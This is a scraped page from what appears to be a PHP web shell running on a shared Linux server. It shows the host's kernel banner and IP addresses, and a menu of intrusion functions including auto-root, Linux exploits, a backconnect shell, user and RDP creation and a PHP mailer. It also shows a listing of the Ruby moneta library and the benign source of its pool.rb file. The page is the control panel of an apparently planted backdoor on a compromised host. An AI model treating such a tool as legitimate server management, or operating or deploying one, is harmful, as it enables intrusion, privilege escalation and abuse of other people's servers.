Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
moneta /
[ HOME SHELL ]
Name
Size
Permission
Action
adapters
[ DIR ]
drwxr-xr-x
transformer
[ DIR ]
drwxr-xr-x
builder.rb
2.47
KB
-rw-r--r--
cache.rb
2.77
KB
-rw-r--r--
expires.rb
2.29
KB
-rw-r--r--
lock.rb
467
B
-rw-r--r--
logger.rb
1.83
KB
-rw-r--r--
mixins.rb
9.72
KB
-rw-r--r--
optionmerger.rb
1.3
KB
-rw-r--r--
pool.rb
1.36
KB
-rw-r--r--
proxy.rb
2.71
KB
-rw-r--r--
server.rb
3.3
KB
-rw-r--r--
shared.rb
1.64
KB
-rw-r--r--
stack.rb
2.36
KB
-rw-r--r--
synchronize.rb
3.07
KB
-rw-r--r--
transformer.rb
7.58
KB
-rw-r--r--
utils.rb
584
B
-rw-r--r--
version.rb
80
B
-rw-r--r--
weak.rb
949
B
-rw-r--r--
wrapper.rb
1.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pool.rb
require 'thread' module Moneta # Creates a pool of stores. # Each thread gets its own store. # # @example Add `Moneta::Pool` to proxy stack # Moneta.build do # use(:Pool) do # # Every thread gets its own instance # adapter :MemcachedNative # end # end # # @api public class Pool < Wrapper # @param [Moneta store] adapter The underlying store # @param [Hash] options # @option options [String] :mutex (::Mutex.new) Mutex object def initialize(options = {}, &block) super(nil) @mutex = options[:mutex] || ::Mutex.new @id = "Moneta::Pool(#{object_id})" @builder = Builder.new(&block) @pool, @all = [], [] end def close @mutex.synchronize do raise '#close can only be called when no thread is using the pool' if @all.size != @pool.size @all.each(&:close) @all = @pool = nil end end protected def adapter Thread.current[@id] end def wrap(*args) store = Thread.current[@id] = pop yield ensure Thread.current[@id] = nil @mutex.synchronize { @pool << store } end def pop if @mutex.synchronize { @pool.empty? } store = @builder.build.last @mutex.synchronize { @all << store } store else @mutex.synchronize { @pool.pop } end end end end
Close